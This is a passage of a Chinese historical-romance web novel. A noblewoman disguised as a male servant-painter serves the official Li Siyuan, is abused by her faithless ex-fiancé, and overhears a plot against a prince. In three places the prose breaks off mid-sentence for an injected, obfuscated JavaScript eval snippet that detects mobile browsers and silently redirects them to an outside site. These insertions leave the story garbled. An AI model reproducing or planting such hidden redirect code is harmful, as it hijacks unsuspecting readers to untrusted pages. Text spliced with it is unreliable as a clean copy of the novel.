“听闻彦儿画师如今在大人这里当差,这次渔获宴夏太守原本是想要邀请他作画的,却没想到我那个不争气的侄子出了那档子事。” “不知大人能否……能否和彦儿画师说一下?” 厉思远挑了挑眉,看向马车:“那不如,你自己邀请他如何?” 敛烟其实已经暗搓搓在马车里听了一会儿了,听见厉思远这么说,就从车帘里冒出一颗头: “我可不敢去,到时再把我辛辛苦苦做的画说做是其他人的,平白替别人做了嫁衣裳。” 听到这话,苏世良只觉得气血上涌,一个区区贱奴竟敢这样和自己说话! 他倒是想过直接向二殿下挑明丹阳春景图的画师身份,但那彦儿偏偏是厉思远大人的人。 他摸不清厉思远大人到底对彦儿什么意思,但既然都能让一个来路不明的贱奴去做手下,可见十分看重他。 如果自己向二殿下挑明,二殿下定会直接让人过来请,若是厉大人想给自己一个下马威,向二殿下透露自己侄子那些行为,自己岂不是颜面尽毁! 所以苏世良盘算了许久,还是决定自己亲自来问问厉大人的意见。 但他万万没想到,厉思远大人竟然直接让自己问这个贱奴的意见。 苏世良看到车帘里面冒出的人,虽然满心的不情愿,但面上依旧带着笑: “哎哟彦儿画师,我那个侄子做的确实太过分了,我已经狠狠教育过他了,您要不……看在临州城的面子上,出席一次好不好?” “而且这次是现场作画,绝不可能再出现冒名顶替的事情,二殿下可是亲自指名让您去呢!” 二皇子让自己去?敛烟暗自翻了个白眼。 以前在京城她对附庸风雅的二皇子可是有所耳闻。 虽然大家都不说,但其实心里都清楚二皇子只不过是为了哄太后和皇上开心才装□□画。 厉思远直接问自己意见,敛烟就知道他想要她自己决定。 她清了清嗓子,慢条斯理地说: “二殿下抬爱了,只是我家大人刚刚允我服侍左右,我还忙着和管事熟悉事务,确实有些忙不开……” 她顿了顿,看到苏世良露出绝望的表情,心中暗笑,话锋一转: “听说我那丹阳春景图献给夏太守后,他赏了苏县令您纹银一千两,锦帛三十匹……” 苏世良后槽牙咬的嘎吱作响,夏太守何时给自己送东西了? 那个铁公鸡不从自己手里面要东西就不错了,想让他赏赐下面的人简直是天方夜谭! 但是他知道敛烟的言外之意,只能配合着皮笑肉不笑: “……这样,您若是肯去,我立刻就派人从我府上给您拿一千两纹银和三十匹上好的布匹,您看怎么样?” 敛烟摇摇头:“不要布,都换成银子吧。” 苏世良肉痛地伸出两个手指:“……换成两千两纹银!” 敛烟思索了一下,这才满意地点点头,笑嘻嘻地道:“那就谢大人恩典了。” 苏世良掏出帕子擦了擦汗,心里把这个贱奴已经骂了千百遍了,就听见她又补了一句: “今日下午,请务必送到客栈里。” 苏世良差点气的当场栽倒在地,他恨恨地盯着敛烟半晌,但又敢怒不敢言,只能朝厉思远拱了拱手,怒气冲冲地离开了。 * 回到客栈,厉思远还没下车,一旁的敛烟便开口:“大人,小人能求您帮一个忙么?” 厉思远下车的动作一顿,看向敛烟:“什么忙?” 敛烟抬起小脸,认真地看着厉思远: “今日下午苏县令若是送来了纹银,想请大人派人去发放给那些从陈生那里买到赝品画,以及被他囚禁作画的人。” 厉思远若有所思地看向她:“当初赏银也没有要,现在二千两也不要么?府上的月钱不过二钱银子。” 敛烟歪了歪头:“大人,陈生家里看似奢华,实际上因为他的挥霍无度,早早就亏空了钱财,也欠下不少债,连宅子都抵押了出去,已经没有余力偿还那些苦主的银钱了。” “虽然小人也缺钱,但至少在大人的庇佑下能够吃饱穿暖。” “那些苦主都情况我也了解,很多都是饥一顿饱一顿,连冬衣都买不起,所以小人想要帮帮他们。” 说完,她又咧嘴嘻嘻一笑,两个浅浅的酒窝就浮现在了两颊: “当然,能要到这笔钱也全靠大人允许我狐假虎威,银子就以大人名义送出去,他们定会对大人感恩戴德,大人以后一定会福泽深厚、长命百岁!” 马屁拍的惊天动泣鬼神,厉思远不禁露出一丝笑意。 他想要说些什么,一抬眼就对上了敛烟那双干净的眸子。 厉思远忽然觉得马车好像过于小了,竟然有些闷热,他轻咳一声转过身掀帘下车。 敛烟本来想献献殷勤扶大人下车,没想到还是被他抢了先,她连忙跟上,就听到厉思远和等在一旁的邱容说着什么,马车过于逼仄之类的话。 她转过头看看马车,确实是小了点,应该换一辆更大的舒服一些,只不过大人为什么这个时候想起来说这件事? 厉思远这边还在给邱容交代:“彦儿他同我们一起去渔获宴,宴会上贵人多,你把注意事项同他说一下。” 和其他世家子弟不一样,厉思远即便身份尊贵,但他却从来不让下人去房内服侍,就连邱容也只是平时随侍两侧,厉思远回房的时候也不会让他跟着。 按邱容的话来说,敛烟当时能有幸被叫到书房给厉思远磨墨,已经是破天荒的事情了,他平时只有送饭才进去一下下。 敛烟也在心中啧啧称奇,头一次见到不需要下人在房内服侍的人。 自己从小虽然不是前呼后拥着几十个仆从,但除了苗儿做贴身婢女以外,上上下下还有七八个婆子丫鬟跟在身边打点生活。 但厉思远既然如此,敛烟也乐得清闲,她行礼送走了厉思远后,看向身边的邱容。 从刚才厉思远说完这句话后,邱容就一直看着自己,都快把自己盯穿了。 她笑嘻嘻地凑过去随便行了个礼:“邱大管事,明日渔获宴需要注意些什么呀?” 邱容上下打量了她一番,喃喃开口:“你……你也要去?为什么?” 他难以置信地摇摇头:“不可能,大人不是那样不小心的人。” “我问过山平,他说你的身份因为户籍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268723|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧毁所以根本查不出来真假,大人会带你去那样重要的宴会?那种宴会他只会带我这样的亲信去!” 敛烟当然也知道,要不是二皇子的要求,就凭自己的身份绝对不可能去那种宴会的。 但她看到眼前这个土豆脑袋摇摇晃晃地看着自己,就莫名想要逗逗他,随即摆出一副困惑的表情: “我也不知道啊……大人今天同我到后山把林阿婆安葬后,回来的路上跟我说的,嗯……这是为什么呢?” 邱容露出三观震碎的表情,嘟囔着不可能,摇摇晃晃地转身离开,一句话都没有再多说。 黄莹莹从不远处走来,看到邱容失魂落魄的样子,不禁好奇地凑过来:“邱容哥怎么了?” 敛烟不禁笑出声:“没事,不过就是受到了一点小小的刺激。” * 邱容在受到打击后也不知去哪里消化情绪了,屋子里面很清静。 敛烟早早地就洗了个热水澡,舒舒服服地躺在了被窝里。 然而还没等她享受柔软的被窝和难得的清闲时,屋门就被人敲响了。 敛烟翻了个身,想假装自己睡着,谁知敲门声却连响了几下,外面传来山平粗重的嗓音: “彦儿,我听见你呼吸了,不要装听不见。” 可恶!怎么会有能隔着门听到别人呼吸的人!! 敛烟气呼呼地爬起来,满不情愿地打开了房门。 山平抱着剑,面无表情站在外面:“大人喊你去书房。” 厉思远不是不喜欢有人近身服侍么?一次就算了,怎么又喊自己过去? 敛烟记得邱容特意给自己嘱咐,只要大人没有喊,就不要跟着大人回房。 但眼前这人是大人身边的侍卫,他传的话定然错不了,敛烟只能披上衣服,怨气冲天地和他一起去了书房。 书房里面点着几盏灯,厉思远照常在灯下批复着文书,旁边还放着几本书,敛烟偷偷望过去,似乎是什么兵法之类的。 厉思远指了指旁边的墨盒:“来,替我磨墨。” 白天打扫卫生,晚上还要磨墨,这简直就是惨无人道! 敛烟痛苦地走上前,就听见山平毫不留情地把身后的门关上了。 好好好,钱难赚那啥难吃! 屋内安静非常,两个人谁都没有说话。 敛烟就低着头疯狂磨,如果能把墨锭磨成半盒墨汁,是不是就可以回去睡觉了? 厉思远的声音传来:“你身上……是用了香粉?” “啊?”敛烟莫名其妙地抬头看他一眼:“……那是女子用的东西,大人。” 厉思远这时也从案卷中抬起头,若有所思地摸了摸下巴,不知道在想什么。 敛烟觉得奇怪,抬起袖子闻了闻,自己身上哪来的香味? 接着她骤然想起来厉思远好男色的传闻,古怪地看着他探究的神色,不动声色朝旁边挪远了一步。 厉思远没有管他的这些小动作,想了一会儿忽然问道:“你应该还没有成家吧。” 敛烟心惊肉跳地觑着厉思远:“……没有?” “那就是有心上人?” “……也没有。” 不儿,哥,你到底啥意思?怎么越听越奇怪? 最后厉思远终于得出了他的结论:“恩,你身上的香气不是女子的香粉。” 敛烟又出胳膊仔细闻了闻,难道是染在自己身上的味道吗?怎么我自己闻不出来? 但厉思远抛出这个疑问后就不说话了,就像是随口问了问一样,继续低头批注桌子上的案卷。 搞得敛烟十分不自在,不是,你倒是说清楚啊?我身上哪里有香气了? 一个堂堂男子汉,身上要是有香味,还怎么掩盖自己的身份? 敛烟手上磨着,瞪着两只眼睛看厉思远,还是没忍住:“大人,小人……身上有什么味道?” 厉思远此时正看到关键处,他思考的时候向来专注,也不喜别人打扰,根本没听见敛烟在说什么,只是摆了摆手算作应答。 敛烟闭了嘴没再敢问,也是,老板怎么可能会随随便便回答下属的问题,他问那是关心你,你问那就是你不懂事了。 都是人情世故啊,人情世故…… 21. 替她出气 也不知道厉思远是不是觉得和满身香气的自己待在一起太憋闷,亥时刚过就让自己离开了。 敛烟开心的合不拢嘴,今日本来就有些累,她回到屋子后,倒头就睡。 梦里什么都有,光怪陆离。 然后敛烟做了个很奇怪的梦。 梦里她的视角很矮,因为她看到好多条大人的腿,隔着腿她能看到好多和她一样矮小的人,但都看不清脸。 自己被一个人牵着手,那人步子迈的很大,也不知道在说着什么,自己只是觉得跟着他很开心。 自己被带到了一个很冷的地方,四周都是高高的、红彤彤的宫墙,也不知道是哪里,那人让自己等在这里,说自己很快回来,还给了自己一串糖葫芦吃。 敛烟最讨厌吃酸果,但若是有糖衣,她便开心。 她就在那里等啊等,等啊等,糖吃完了,就蹲在墙角看蚂蚁搬东西,一直等到了黄昏时分,就看见另一个人不知道从哪里跑过来,好像是个女子。 她蹲下来和自己说了什么,还给自己塞了一个热乎乎的糕点。 敛烟等了许久只觉得很饿,狼吞虎咽地吃下去了。 中间发生了什么敛烟也记不清了,只觉得吃下那糕点以后,一切都像是蒙上了一层厚厚的雾气。 似乎有人在惨叫,又似乎有人拿出刀剑,敛烟只觉得一切就像是按下了快进键,一眨眼功夫,自己又独自站在地上。 对面有一个和自己一样高的小男孩站在自己对面。 他背对着自己,看不清脸,但手腕上鲜红色的红线穿制的手镯却分外显眼。 梦里的敛烟甚至能看见那红线上由绿色玉石雕刻的小兔子。 戴着手镯的那只手,却拿着一把短剑,上面还在滴滴答答地向下流着血液。 敛烟惊叫一声,就从梦里坐了起来。 入眼就是邱容那张放大的土豆脸。 他也被敛烟吓了一跳,拍了床一下:“喂,你干什么?吓我一跳!” 敛烟惊魂未定地看了看四周,意识过来刚才那是梦以后,松了口气。 也是好几年没有梦见那件事了。 当年十三岁的自己同父母一起去参加宫宴,却在宫宴上遭遇刺客。 当时陛下也是朝堂初立、根基不稳,刺客又来势汹汹,所以很多护卫都去保护陛下了,而自己当时不知道被什么人带走,路上忽然遇到刺客杀人,当时就晕倒在地上。 中间发生什么记不清了,据后来请的大夫说,自己因为受到惊吓,所以出现了短暂的失忆症,那期间发生的事情自动忘记了。 而且她也发现,以前发生的许多事也忘记了。 不过消失的记忆并不算多,所以也就没有再行医治。 只是前来救自己的那小男孩,敛烟虽然记不清脸了,却对那手镯记忆非常深刻。 以至于当自己受惊吓高烧不退,陆家带着陆景明前来看望自己时,看到陆景明手上那红色丝线穿成的玉兔手镯那一刻,敛烟便认定他就是救下自己的人。 而陆景明也并未否认,自己便对他情根深种,满心满意捧出一颗真心,如今却换来…… 敛烟自嘲地笑了笑,冷不丁头上挨了一掌。 虽然力度不大,但敛烟还是下意识捂住了头:“干吗?” 邱容一脸无语地望向她:“还能干嘛?你在那里傻笑个什么?今天要去陪三位殿下赏花,现在已经什么时辰了,赶紧起床准备!” 敛烟看了一眼天色,想起来昨天邱容提到过,渔获宴在临州最东边的海边,过去要近半日,加上附近桃花开的正旺,二皇子提议一早先过去赏花,第二日再开宴。 虽然只出去两日,该带的东西还是要带。 邱容特意嘱咐过今天卯时要准时起床,虽然早早就准备好了当天要带的东西,但还要备马、装车,一应杂事也不少。 别看邱容平时呆头呆脑的,但却是个非常靠谱的管事。 他指挥下人们把事情都理得井井有条,满意地看了看天色。 很好,现在出发的话等到了别院,三位殿下也应该准备的差不多了,时间刚刚好。 然而他在厉思远院门口等了半天,转过来转过去,却迟迟不见门打开。 敛烟也跟着他站在那里等,也觉得奇怪:“邱管事,不是说大人每日雷打不动卯时起来吗?” 邱容急的满头大汗:“是啊!” 他原地转了转圈,猛地看向敛烟:“大人昨日什么时辰睡的?” “亥时……吧?反正刚过亥时就让我走了,我看大人也似乎要熄灯了。” 说到这里敛烟就来气,自己亥时睡,卯时起床干活,牛马的命也是命啊!!自己就应该拿两份工钱! 邱容震惊地瞪大双眼:“你说,大人亥时就睡了??” 敛烟没觉得有什么不对的,厉思远又不是铁做的,虽然平时自律的可怕,但是偶尔早睡晚起也很正常吧?谁还不想多睡一会儿了? 但邱容就是很震惊,朝旁边一样眉头紧锁的山平说道:“大人最近睡眠怎么忽然变好了?” 山平看了敛烟一样,没有说话,只是摇头。 敛烟觉得这两个人的脑回路神奇的很,就好像不希望厉思远睡的好一样,她抬手指了指院门: “时间来不及的话不然直接去喊大人呗。” 邱容土豆一样的圆头摇的像拨浪鼓:“不行不行,大人必须自然醒,否则……哎,反正就是不行。” 讳莫如深的样子,让敛烟皱了皱眉。 难道厉思远被人吵醒会杀人?不至于吧? 但是邱容都不敢叫,她更不敢了,只能鹌鹑一样蹲在门口朝紧闭的大门里面张望。 还好没过多久,院门开了,厉思远从里面匆匆走出来,看样子也知道自己起迟了,连平时一丝不苟的衣衫都稍稍歪了一些。 邱容极有眼力见地上前替他正了正衣襟,厉思远问道:“什么时辰了?” 邱容垂头:“大人,已经快辰时了,马车已经都备在门口了。” 听到这句话,厉思远忽然笑了一下,他看向敛烟,丢下一句:“以后晚上你都来我书房当值。” 说完后便大步离开。 留下敛烟独自一个人凌乱。 早知道,就不拒绝赏银了…… * 到了三位殿下所居住的皇家别院门口,邱容扶着厉思远走下了马车。 敛烟刚下车就听见陆景明吵吵嚷嚷的大嗓门。 “哎——对放这里,小心那个二殿下最喜欢的花瓶,放稳——” 定睛一看,就看到四辆马车停在别院门口,其中两辆车已经装满了东西,感觉两个高大的战马快被压成矮脚马了。 也不知道二皇子出去赏个花,带花瓶做什么。 难道打算现场插花?? 敛烟不想跟陆景明打照面,所以故意慢吞吞地落在后面。 等到厉思远一行人都已经走进了院子,敛烟才从马车后面低着头快步绕出来,却不小心和一个衣着华贵的女子撞在了一起。 “哎哟!你这个贱奴怎么这么不长眼!”女子被撞得步摇轻颤,旁边的丫鬟立刻尖叫出声。 敛烟抬头就认出了那女子,正是伍家四小姐,伍熹微。 伍熹微相貌平平,出身平平,但性子却骄纵跋扈。 敛烟曾在贵女们齐聚的宴会上,亲眼看到她当众掌掴自己的丫鬟,只因为那丫鬟替她挑的衣服颜色与春景不搭。 敛烟当时就对她没什么好感,但如今身份天差地别,她收敛脾气跪在地上:“小人不是有意的,请小姐责罚。” “熹微,怎么了?”陆景明皱着眉头走了过来,轻轻揽住伍熹微。 敛烟身子一颤,将头埋得更低,控制住自己想要手撕陆景明的冲动。 伍熹微没好气地白了他一眼: “这破宅子,窗子四处透风,我昨晚完全没睡好,今早还被这个不长眼的贱奴给撞了一下,真是晦气!” 陆景明一眼就看出来这是厉思远大人身边的人,他瞥了一眼周围,扯了扯伍熹微的袖子,低声: “熹微,他是厉思远大人身边的,算了算了。” 伍熹微眼睛一瞪,被贱奴撞了还想让她就这样息事宁人,简直是笑话! 她冷哼一声:“陆景明,你到底想不想娶我?一个贱奴你都搞不定,还是不是男人?!” “就算他是殿下身边的人,撞了我也要付出代价!” 陆景明用袖子擦了擦头上的冷汗,我的小祖宗哟,厉思远大人多护短你是不知道啊…… 但是眼前的伍熹微,性子骄纵无比,为了攀上伍家这棵大树,自己可是想尽一切办法。 如今两人只是订亲还未过门,若是今日为了一个仆从前功尽弃,那可就得不偿失了。 他看了看周围,厉思远大人已经进门了,周围都是忙忙碌碌收拾行囊的宫女太监,没看到厉思远大人身边的其他人。 反正一个贱奴罢了,自己就算是罚了,身后有伍家撑腰,想来厉思远大人也不会和自己过不去。 他抬起脚,狠狠朝敛烟踢了过去:“贱奴!敢撞熹微,是不是活腻了!” 敛烟生生挨了一脚,整个人不受控制地歪倒在了一边,猝不及防撞到了旁边堆放的一个木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268724|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱,额角不小心磕在了木箱一角,瞬间肿胀起来。 敛烟痛得闷哼一声,但因为身份差距悬殊,她只能忍住疼痛,重新爬起来跪回了原地。 伍熹微眉心这才舒展开来,陆景明笑着轻轻牵住伍熹微的手,安抚道: “我怎么会不想娶你?我同父亲都说了,我从见到你的第一面就喜欢上你了,从那以后我是茶不思饭不想……” 伍熹微显然很受用这一套舔狗说辞,她抬了抬高傲的下巴: “哼,你就诓骗我,你若是喜欢我,为何还会同敛家大小姐订亲?我可是听说你们两人是神仙眷侣、伉俪情深。” 敛烟听到自己的名字,呼吸狠狠一滞,咬紧牙关将头埋得更低。 陆景明将伍熹微揽在怀里,语气宠溺:“不是已经和你说了嘛,是那个敛烟非说我是她救命恩人,哭着喊着说什么都要嫁给我,还说要是我不娶她,就要跳河……” “她父母就找到了我父母,你知道的她父亲又是大理寺卿,对我的仕途有很大影响,都跪在地上求我了,我哪敢不答应啊……” 哭着喊着要嫁?父亲跪下求他? 当初明明是陆景明带着厚礼特意去家里求娶她,当时父亲觉得他配不上自己,人看着也并不是那么真诚,所以根本没想答应。 但架不住自己求情,再加上陆景明信誓旦旦地拍着胸脯说此生绝不纳妾,父亲这才勉强同意了二人的婚事。 自己当时还以为他情真意切,但实际上只要对他有利,只要能助他平步青云,他对谁都可以情话绵绵。 真是可笑! 伍熹微笑着戳了戳他:“你呀,就是命好,要不是敛家没了,你还能有福娶到我?” 陆景明将她揽的更深:“哎呀,能娶到这么漂亮的媳妇,的确是我三生修来的福分……哎哟——!!!哪个没长眼的!!” 正说着,身后不知从哪飞来一个木牌,正中陆景明的后脑勺,陆景明龇牙咧嘴地捂住了头,转身去找罪魁祸首。 就看到厉思远从别院门口施施然走了出来,斜睨着搂搂抱抱的两个人,虽然嘴角带笑,但笑意不达眼底: “手滑了,陆大人不要见怪啊。” 陆景明要骂人的话都到嘴边了,生生被他咽了回去:“……是、是厉思远大人啊,不要紧不要紧……” 心里却已经是咬牙切齿,手滑?骗鬼呢! 厉思远弯腰将地上的桐木牌捡了起来,瞥了一眼敛烟额头上的肿包,神色冷了下来:“你受伤了?” 没等敛烟开口,厉思远又直起身看了一眼陆景明: “彦儿是二殿下指名要在宴会上作画的画师,如今竟然弄伤了额头,殿下若是怪罪下来,该如何是好呢?” 伍熹微眉毛一竖,娇声怒斥:“是这个贱奴自己撞到了我,本小姐还没怪罪他以下犯上……呢……” 她原本声音又尖又急,然而在看到厉思远扫过来的目光时,声音越来越小,最后几个字已经声如蚊蝇,甚至挪了几步躲到了陆景明身后。 厉思远声音平静:“撞了四小姐的确是他的不对,下官回去会严加管教。” “只是四小姐以后莫要冲动行事,否则造成什么后果,可就得不偿失了。” 字字为了对方着想,实际上字字都在威胁。 伍熹微咬断了一口银牙,但也不敢再说话,陆景明更是成了缩脖子的乌龟,连眼神都不敢看过去。 厉思远说完话,就没有再看他们一眼,带着敛烟走进了别院。 刚进大门,敛烟就听见厉思远低沉的声音:“你哭了?伤口很疼?” 敛烟脚步顿了一下,抬手擦了一下,啊,真的哭了。 她倒不是因为一个区区陆景明,他那廉价的、虚伪的感情已经不值得她哭了。 只是刚才听到他们提起“已经没了的敛家”,那样轻描淡写。 他们一家子的命仿佛无足轻重的谈资一样,被人提起、嘲笑,随后再轻轻放下,灰尘一样被风吹过后,就散了。 可那是活生生的人啊,是她朝夕相处多年,爱她、呵护她的家人啊。 脸上的泪珠又忍不住落了一串下来,敛烟别过脸闷声道:“谢大人关心,小人没事。” 骗人,明明就有事。 厉思远叹了口气,等下路上给他找个医馆吧。 等等,自己刚才为什么见到他跪在地上,事情原委都没弄清楚就抄起木牌扔过去呢? 厉思远脚步微顿,若有所思地看着手中的木牌。 一定是春季干燥,肝火过旺,所以自己才这样心浮气躁。 不如等下也去找个大夫瞧瞧吧。 22. 谋划 别院里,严恒和严天逸早早就等在了门口厅堂里面。 敛烟这才知道,原来外面那满满当当的四辆马车竟都是二皇子的,而且他自己本人还不是坐那里面的任何一辆,相当于他一个人就已经占据了五辆马车。 敛烟在心中暗自咂舌,不知道的还以为二皇子把自己从皇宫里搬出来住了呢。 厉思远站在一旁和严恒说话,时不时还会哄哄严天逸,不慌不忙地等着严宏道出来。 敛烟就站在他身侧,偷偷打量着严恒和严天逸。 她以前虽然也见过三位殿下,但她毕竟是未出阁的女眷,只能隔着帘子远远望去。 严恒不善言辞,温吞木讷,只有厉思远提起的话题,他才应答两句,随后兴致缺缺地低着头看着茶盏出神。 据说他向来一副与世无争的样子,似乎对储君之位并不感兴趣。 敛烟其实有一些同情他,母亲身份低微没有家族庇佑,还被亲生父亲送去大西国做质五年,回来又不受待见…… 可明明去敌国为质并非他所愿。 而且听闻他其实从小天资聪颖,有过目不忘的本领,所以才有很多朝臣,包括当朝太傅都支持他成为储君。 再看一旁的严天逸,一脸天真地东瞅瞅西看看,拉着厉思远的袖子问东问西。 明明是一个十二岁的少年,但心智看着也就五六岁的样子。 嘴里却含着大拇指,不时地看准机会想跳下椅子,都被身后的嬷嬷一把按住, 过了能有半柱香的时间,就听见内堂传来一个嘹亮的声音: “哎呀,都收拾好了?真是不好意思,耽误大家时间了!” 严宏道穿着一身便服就从内堂里走了出来,外袍大剌剌地敞开,嘴上说着不好意思,整个人却趾高气扬,看不出一点抱歉的意思。 除了两位皇子外,所有人都跪拜在了地上。 敛烟看到就连严恒和严天逸身边的宫女太监嬷嬷,都是一脸诚惶诚恐的样子,不禁唏嘘。 严恒笑了笑:“二弟说这话就见外了……” 话还没说完,严宏道就抽身往门外走:“快走吧,晚了就看不清花了!” 严恒被打断了话,脸上闪过一丝尴尬,但很快便隐去了,带着严天逸一起出了门。 敛烟看着氛围不对,也没敢说什么,亦步亦趋跟在厉思远后面。 去海边的路途不算远,即便慢悠悠走,半日也就到了。 咸咸的海风迎面吹来,敛烟深吸一口气。 一路都能听到陆景明一会儿恭维二皇子,一会儿跑来恭维厉思远,一会儿又去照顾“晕马车”的伍熹微,令人烦不胜烦。 赏花的地点在海边的一座不算高的山上,上面有一座十分别致的宅子,名为烟雨阁,也是举办渔获宴的地方。 烟雨阁附近开满了各类颜色的海棠和樱花,如今正是旺盛的季节,一团团一簇簇地挤满了整个山头,美不胜收。 “哎——好停停停,二殿下我来扶您下车——” 马车还没停稳,陆景明就下车当上了指挥。 等到马车晃晃悠悠地停住,陆景明就一个箭步窜到打头阵的马车前,将车夫手里的脚凳一把抢过,用袖子擦了擦搁在了地上。 随后他弓着腰掀开车帘,殷勤地伸手将严宏道扶下了车。 敛烟从马车上下来摆好脚凳,看到陆景明一系列丝滑的操作时目瞪口呆。 然而就在这时,她眼前忽然飘来一抹亮黄色的身影。 只见陆巧香俏生生站在厉思远的马车前,嘟着嘴娇俏地笑着: “远哥哥,那边的樱花林好漂亮,能带我去看看嘛?” 敛烟一愣,自觉地让开了一步。 马车里却响起厉思远冷淡的声音:“樱花林那边是悬崖,海风大,我怕着凉,陆姑娘自己去吧。” “我说厉思远啊,你可真是根木头!”走下马车就听见这话的严宏道哈哈大笑: “人家陆姑娘邀请你,你就说这种话?按理说你这个年纪了,妾都该纳了几个了!” 厉思远掀开马车帘走了出来,陆巧香喜出望外地看向他,竟伸出纤纤玉手要去扶他,厉思远却只盯着敛烟看。 仿佛在说:你怎么还不伸手? 敛烟呆愣在原地。 不是,人家姑娘都已经伸手了,你好歹给人家个面子吧! 见厉思远依旧盯着自己,敛烟只能认命伸出手,在厉思远满意的目光中把他扶下了马车。 陆巧香尴尬地站在原地,两只手死死拽住衣角,厉思远却不管她,迈开长腿就朝着樱花林的反方向走去。 陆巧香抿了抿唇,咬牙跟在他身后。 旁边的丫鬟小声替她抱不平:“小姐,您是陆家的掌上明珠,凭什么要让他这般折辱?” 陆巧香咬了咬牙,她生来性子高傲,看不上其他男子,厉思远已经是她最好的人选了,她一定要把握住机会。 “别胡乱说话,跟上就是了。”她瞪了那丫鬟一眼,快步跟在厉思远身后。 严宏道看着一步一趋跟着厉思远的陆巧香,笑着在陆景明耳边说: “你这个妹妹眼光真奇怪,厉思远这个人和我父皇一样,都对我有意见。 听着是不经意的玩笑话,但陆景明却觉得身上寒毛倒立。 他只能喏喏道:“怎么会呢?陛下他自然是最喜爱殿下你的……” 严宏道冷哼一声:“哼,若是他真的喜爱我这个儿子,早就该决定储位是谁了!还用得着我和母妃想办法?” 陆景明心都要跳出嗓子眼了。 要知道这是涉及未来储君的话题,大家都知道严宏道和严恒总有一个会成为未来的储君,而储君之争又向来残酷。 陆景明小心翼翼地斟酌措辞:“厉思远这个人虽然不识时务,但是他对自己的家人和朋友都非常用心,舍妹若真的能和他喜结连理,那我有信心让他站在您这边。” 严宏道冷笑,挑眉道:“就他?他根本不算是一个威胁。” 陆景明连忙赔笑:“那是自然,但若是多一个助力少一个敌人,对您只有好处没有坏处。” 严宏道笑了笑,这话的确说到了他的心坎上。 厉思远虽然不足畏惧,但他深得父皇信任,权力看似不大,但却是最有实权的人,如果能够拉拢他,对自己确实百利而无一害。 况且现在父皇总想让厉思远来坏他的好事,害得他畏手畏脚,还被母妃痛骂,说自己是胆小鬼,不配为储君。 “话说回来,那件事准备的怎么样了?” 严宏道忽然转了个话题:“此次南下,母妃嘱咐我的事情,你好像一件都没有替我办成呢。” 提到那件事,陆景明就心头一跳。 做得好的话,等二皇子登基,他就可以平步青云,保自己这辈子都衣食无忧。 若是做得不好,那可是会连累全家的罪过…… 他也不是没有想过攀上伍家以后就收手,但是他发现他想得太简单了。 自从要娶伍熹微之后,皇贵妃便时常托人给他递信。 美其名曰为关心家人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268725|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恭喜他和熹微喜结连理,实际上是威胁他,让他知道他想要娶伍熹微就要替二皇子做事。 而至于做什么答案不不言而喻。 此次南下,皇贵妃便已经托人给他递口信,让他在南下的路上好好照顾一下大皇子。 他原本是想厉思远不在,自己的各种计划可以顺利实施,但是却没想到厉思远从半路杀过来,这一路上便一直没有找到机会动手。 明日的宴会便是最后的机会了,如果这次还不得手,那么自己可能会失去伍家这颗大树。 思及此,陆景明定了定神低声道: “殿下放心,之前因为厉思远的出现不好动手,渔获宴是最后的机会,我定会把事情安排的妥妥当当。” 严宏道嗤笑一声:“好好干,若是日后我登基,到时少不了你的好处。” 陆景明笑着作揖,弯着腰点头哈腰的将人送到了屋里面。 待到严宏道进了屋,陆景明笑容一收,转身便走下山,往烟雨阁附近的蒲村走去。 蒲村很小,在烟雨阁做工的小厮丫鬟,大多都是蒲村人。 陆景明边走边戴上了一层面巾,轻车熟路来到一个砖瓦房前,敲响了木门。 不多时,一个男子的声音从院内响起,满含警惕:“谁?” 陆景明挥了挥手,一个黑衣人扭着一个老妇走到门前,那老妇面色苍白、满脸惊恐,颤巍巍开口: “……宽儿,是娘。” 院门豁然打开,还没等阿宽惊叫出声,又一个黑衣人迅速窜入院子里面,用手死死捂住了阿宽的嘴,朝院子里面拖。 阿宽看到陆景明后,只觉得脚下发软,被黑衣人拖着,呜呜呜地试图挣脱桎梏。 “别这样啊阿宽,得了好处就想跑,世上哪有这样的道理?” 陆景明居高临下望着地上阿宽,声音和平时不同,又尖又细,是掐着嗓子说的。 院门已经死死关住,黑衣人松开了手,阿宽两脚一软坐到了地上: “我、我已经按照你说的做了,敛大人他也已经死了……你还想做什么!” 陆景明打量了一下这个还算精致的小院,冷笑道:“拿着我给的银子就玩消失,你可真行。” 阿宽颤声道:“你、你答应过的,我按照你说的去做,你给我银子,我们两不相欠!” 陆景明笑了笑:“我说的明明是,只要你听话,银子不少你的,却没说不再找你啊?” 他蹲了下来,死死捏住阿宽的脸颊,直捏的他生疼:“你难道不想让你母亲安度晚年么?” 看着后面被黑衣人用刀抵住喉咙的母亲,阿宽仿佛天塌了一般,双手无力垂落两侧,绝望地看着陆景明。 